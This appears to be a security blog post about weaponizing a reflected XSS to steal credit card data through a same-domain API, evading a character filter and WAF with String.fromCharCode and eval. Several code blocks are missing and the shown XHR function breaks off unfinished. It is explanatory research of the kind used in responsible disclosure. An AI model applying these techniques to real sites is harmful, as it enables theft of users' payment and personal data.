Weaponize XSS and bypass (bad) WAFs

Imagine we’ve a reflected XSS on https://test-site.com and the following characters are filtered: spaces, (single) quotes, <, >, } and {. But you also want to develop a weaponized exploit to exfiltrate personally identifiable information, popping an alert box is boring.

You’ve two injection points one in a <meta> tag and one in a <a> tag:

<meta content="0;url=injection_point” http-equiv="refresh"> and <a href=“injected”>injection_point</ a>

I guess your first idea is to abuse the meta tag to redirect to a JavaScript URL? Nice try, but that’s not going to happen with modern browsers…

Refused to refresh https://test-site.com/mm?redirect= to a javascript: URL

What about making the user click on the <a> tag instead? We could also use a JavaScript URL:


Displaying the session cookies is bit more interesting but still, where’s the business impact? Okay, we should go searching for the REST API endpoints to find the ones returning the most interesting data e.g. credit card data (hope nobody actually does that), KYC data or simply user data like address, e-mail, phone etc..We’re lucky, there’s a funny endpoint returning credit card data and it’s even on the same domain:


Since we’ve JS code execution on the same domain we’re free to interact with the underlying API. Let’s write some lines to interact with the API and access the response:

function exfiltrate() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
  xhttp.open('GET', ‘https://test-site.com/api/get_payment_data', true);

Nice! But wait, didn’t we say spaces, (single) quotes, <, >, } and { are filtered? Yep! Combined with String.fromCharCode and eval it’s still exploitable and there you go:


Obviously a WAF that doesn't block eval in that context is kind of useless anyway but it happens. This blog post is related to a finding exposing a lot of personally identifiable information and I’m currently in the process of responsible disclosure.

{{ message }}

{{ 'Comments are closed.' | trans }}